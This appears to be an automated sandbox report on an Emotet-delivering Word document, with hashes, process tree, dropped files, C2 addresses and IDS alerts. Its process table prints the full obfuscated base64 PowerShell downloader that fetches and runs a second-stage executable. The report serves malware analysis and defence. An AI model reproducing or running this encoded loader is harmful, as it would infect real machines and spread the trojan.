File name: | Untitled_RQH39536880-78.doc |
Full analysis: | https://app.any.run/tasks/5525e9ee-dac1-4366-a3a5-943cce203a38 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | March 14, 2019, 11:15:58 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Mar 13 13:15:00 2019, Last Saved Time/Date: Wed Mar 13 13:15:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 5, Security: 0 |
MD5: | 3BE064F51A8BF9AB779CC6EA9521CB76 |
SHA1: | 76F695947423580107376A14A6000C98AE0BFF1F |
SHA256: | EA799CE1D76161BE37C5525785EA0B345016BDFE84F42C1B114A3AB60DBD5CB5 |
SSDEEP: | 6144:z77HUUUUUUUUUUUUUUUUUUUT52VyDDXDxZKkvEp+NQzSKmGFFTE:z77HUUUUUUUUUUUUUUUUUUUTCyDP2kcW |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 5 |
Paragraphs: | 1 |
Lines: | 1 |
Company: | - |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
Characters: | 5 |
Words: | - |
Pages: | 1 |
ModifyDate: | 2019:03:13 13:15:00 |
CreateDate: | 2019:03:13 13:15:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | - |
Subject: | - |
Title: | - |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2972 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Untitled_RQH39536880-78.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2932 | powershell -e LgAgACgAIAAkAFMAaABlAEwAbABpAEQAWwAxAF0AKwAkAFMAaABFAEwAbABJAGQAWwAxADMAXQArACcAeAAnACkAKAAgAE4ARQBXAC0ATwBiAGoAZQBDAFQAIAAgAGkATwAuAEMATwBNAHAAUgBFAFMAcwBpAG8ATgAuAEQAZQBmAEwAYQBUAGUAcwBUAFIAZQBhAG0AKAAgAFsASQBPAC4AbQBlAG0AbwByAHkAUwBUAHIAZQBhAE0AXQAgAFsAUwB5AHMAdABlAG0ALgBjAG8ATgBWAGUAcgBUAF0AOgA6AGYAUgBPAG0AQgBBAFMARQA2ADQAUwB0AFIAaQBOAEcAKAAoACcAVgBkACcAKwAnAEoAUgAnACsAJwBiADUAJwArACcAcwB3AEUAQQBmAHcAJwArACcAcgA4AEkARABrAGgAJwArACcATgBsACcAKwAnAGcAVAAnACsAJwBBACcAKwAnAHgAJwArACcAYgBTADEAQwA2ACcAKwAnAGgARwB2AEsASAAzAFkAaAAnACsAJwBMAGEAbwA3AFQAUQBwAE0AdQBaACcAKwAnAFMAWAAnACsAJwBNAEMAbQAyAEEAVABhAEsATgA5ADkAYgBwAGMAJwArACcAeQAnACsAJwB6AFkAJwArACcALwBuACcAKwAnAG4AKwAnACsAJwA3ACsATwAnACsAJwB0AHYAbAAnACsAJwBRAFoAJwArACcASgBsAFcAJwArACcAeABxACcAKwAnAFQAUABnACcAKwAnAHcAJwArACcAZwBEAFMAQQBqAGsAZABzACcAKwAnAEMASgBDAG4ARQBFAG8AZQBsAHkAaAAnACsAJwArACcAKwAnAFIARwArAGMAJwArACcAYgBHAHUAOAAnACsAJwBXADgAJwArACcAMwBVAHQAVQBKAHIAJwArACcASQB2AGMAawAnACsAJwBTAHkASwBwACcAKwAnAFEAJwArACcAeABhACcAKwAnAFEAMABwAHIAMwAwAGYAJwArACcAVgAnACsAJwBhADMAJwArACcAUQAnACsAJwBqAEoAcwAnACsAJwBhAGwAWgA1ACcAKwAnAFgARAAnACsAJwBYACsAMABDADYAJwArACcANQBrAHMAWgBpADcAJwArACcAVAAvADEAKwBiAFYALwAnACsAJwBkAFkAWQA1ACcAKwAnADAANQAnACsAJwAyACcAKwAnAG4AZQAnACsAJwA5AGsAJwArACcASgBqAGEAYgBFAEIAdAAnACsAJwA5ADQAdwBRAHkAegBOACsAagBmAHYAJwArACcALwB5AFYAJwArACcAMgAnACsAJwBsAEkAJwArACcAdAAnACsAJwB0AEQAQgAnACsAJwBZAHYALwBkACcAKwAnAGoAUgBTAE8AawB6ADcAdgB2AG4AJwArACcAOABwAC8AWgBoACcAKwAnAGcAJwArACcARwBUADcAVQAnACsAJwB0AFcAMwAnACsAJwBLAG0AaABWACcAKwAnAFQAdgAnACsAJwBWAGsAaABlADkAdwBWAHEASAAnACsAJwB3ACsAcgAnACsAJwBpAC8AWABQAGEAYgBxAFEAJwArACcAaABXAEEAZgB3AC8ARwAnACsAJwB6ADkANAAnACsAJwBMAEkAQwAnACsAJwAvAG4AbQA4ADYAZgBnACcAKwAnACsAVAAnACsAJwBGACcAKwAnAGsALwB1ACcAKwAnAEgATABqAFUAKwA4AEgAMgAwAHQAJwArACcAegAnACsAJwBJAHgAYwAnACsAJwBrAFgAJwArACcAbgBrACcAKwAnAGYAawAnACsAJwAwAGgARwBRAEIAaQBvAHUAOAAnACsAJwBTACcAKwAnAFMAJwArACcAcgAnACsAJwBmACcAKwAnAFUAcgB1AFoAMgAnACsAJwBsAHkAYQBaAEMAaABJACcAKwAnAG4AZAAnACsAJwBzAGoARgA2AHIAJwArACcAVQAnACsAJwBBADQAJwArACcAUgBxAHkAdwBDAEkAZQBBAGsAJwArACcAQwBZADcAJwArACcAbQB6AHgAZgBvAEIAVQAnACsAJwBRAGUAeQBpACcAKwAnAFAARgB6ADIARwAnACsAJwByACcAKwAnAHUAMgBVACcAKwAnADMAdABSADQANABMACcAKwAnADgASgBvAHUAcAB4ACcAKwAnAFkAJwArACcASgA0AE8AQwBLAEoAOQBxACcAKwAnAHAARAB4AHMAdQAnACsAJwBaACcAKwAnAFcAMABKADEAbAB3AEUANABRACcAKwAnAGoAcgAnACsAJwBUAGgAdQBkACcAKwAnAEgAMAB6ADAAZgB6AHkAJwArACcALwBpACcAKwAnAFUAVABYAEkAVwByACcAKwAnAEgAaQAnACsAJwAyACcAKwAnAGoAYQBiACcAKwAnAC8AQQBmAG4AJwArACcAUABNACcAKwAnADgAbQAzAGwATgBJACcAKwAnADYARwB0AGkAQQBjAE8AbwBiAE8ARABOADMAcAAnACsAJwBuAE4AJwArACcAVQBqACcAKwAnAFQAJwArACcATABqAGMARgAnACsAJwBtACcAKwAnAGcAbAAnACsAJwA2ACcAKwAnAE4AOABzAEcAVQAnACsAJwB6ACcAKwAnAHYASQAnACsAJwBCAG4AWABCAGwAJwArACcAegAnACsAJwA5AHcANQBiACcAKwAnAHUAUgBCAFYAZgBpACcAKwAnAGYAaQA5ACcAKwAnAHcAJwArACcARwBLAEkAeQBqAC8AJwArACcAUgAyACcAKwAnAGEAagAnACsAJwByADkAQQAnACsAJwBrAFMAaQAzAFcAYQB2AG8AZABPACcAKwAnAEwATQA4AFAASgA0ACcAKwAnAE8AcgBuAFUARAAnACsAJwBrAHIAQwAnACsAJwBiACcAKwAnAFUAJwArACcAeABrAEMAJwArACcAdQBFACcAKwAnAE8AJwArACcAbwBDAEwAUgBIACcAKwAnAHcAJwArACcAPQAnACsAJwA9ACcAKQApACAALABbAFMAWQBzAFQARQBNAC4ASQBvAC4AQwBPAE0AcABSAEUAcwBzAEkAbwBOAC4AYwBPAE0AcABSAEUAUwBzAEkATwBOAE0AbwBEAEUAXQA6ADoARABlAGMAbwBNAHAAUgBlAFMAcwAgACkAIAB8AEYATwBSAEUAQQBjAEgALQBvAEIAagBFAGMAVAB7ACAATgBFAFcALQBPAGIAagBlAEMAVAAgACAAcwBZAFMAVABlAG0ALgBJAE8ALgBTAFQAcgBlAEEAbQByAGUAQQBEAGUAUgAoACQAXwAsACAAWwB0AEUAWABUAC4AZQBuAGMAbwBkAEkAbgBnAF0AOgA6AGEAcwBDAEkAaQApACAAfQAgACkALgByAGUAQQBkAFQATwBlAE4AZAAoACAAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3140 | "C:\Users\admin\90.exe" | C:\Users\admin\90.exe | — | powershell.exe |
User: admin Company: Tonec Inc. Integrity Level: MEDIUM Description: Internet Download Manager agent for click monitoring in IE-based browsers Exit code: 0 Version: 6, 22, 1, 1 | ||||
2184 | "C:\Users\admin\90.exe" | C:\Users\admin\90.exe | 90.exe | |
User: admin Company: Tonec Inc. Integrity Level: MEDIUM Description: Internet Download Manager agent for click monitoring in IE-based browsers Exit code: 0 Version: 6, 22, 1, 1 | ||||
3412 | "C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe" | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | 90.exe | |
User: admin Company: Tonec Inc. Integrity Level: MEDIUM Description: Internet Download Manager agent for click monitoring in IE-based browsers Exit code: 0 Version: 6, 22, 1, 1 | ||||
4080 | "C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe" | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | wabmetagen.exe | |
User: admin Company: Tonec Inc. Integrity Level: MEDIUM Description: Internet Download Manager agent for click monitoring in IE-based browsers Version: 6, 22, 1, 1 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2972 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR9030.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CBI0W9ML996DVWT1VU1X.temp | — | |
MD5:— | SHA256:— | |||
2932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
2972 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$titled_RQH39536880-78.doc | pgc | |
MD5:412BE560AF518D793A9D1B99B9F2B299 | SHA256:4B917B1B42C228CB2ECDE6F15D34F337C5773FA82C12D6566044B656AFA76443 | |||
2184 | 90.exe | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | executable | |
MD5:75C784D66FD63848519F8EC1F22FEB50 | SHA256:5D979589A7A9D58149E0F4FB11B6565FCF31A289537597BD64B34F325C10C3D0 | |||
2932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF199d9e.TMP | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
2932 | powershell.exe | C:\Users\admin\90.exe | executable | |
MD5:75C784D66FD63848519F8EC1F22FEB50 | SHA256:5D979589A7A9D58149E0F4FB11B6565FCF31A289537597BD64B34F325C10C3D0 | |||
2972 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:6E28B672E33ED44FA2233E4B0EA4D984 | SHA256:ECF9C6BE22E4A542EBECD6F2A9B2ABCD77BA994D3F8910570A44D4737F95D6E1 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
4080 | wabmetagen.exe | GET | — | 181.198.203.150:443 | http://181.198.203.150:443/ | EC | — | — | malicious |
4080 | wabmetagen.exe | GET | 200 | 152.171.65.137:8090 | http://152.171.65.137:8090/ | AR | binary | 132 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
4080 | wabmetagen.exe | 181.198.203.150:443 | — | Telconet S.A | EC | malicious |
2932 | powershell.exe | 94.73.151.38:80 | alpinaemlak.com | Cizgi Telekomunikasyon Anonim Sirketi | TR | suspicious |
4080 | wabmetagen.exe | 152.171.65.137:8090 | — | CABLEVISION S.A. | AR | malicious |
Domain | IP | Reputation |
---|---|---|
alpinaemlak.com |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
2932 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2932 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2932 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2932 | powershell.exe | Misc activity | ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) |
4080 | wabmetagen.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
4080 | wabmetagen.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |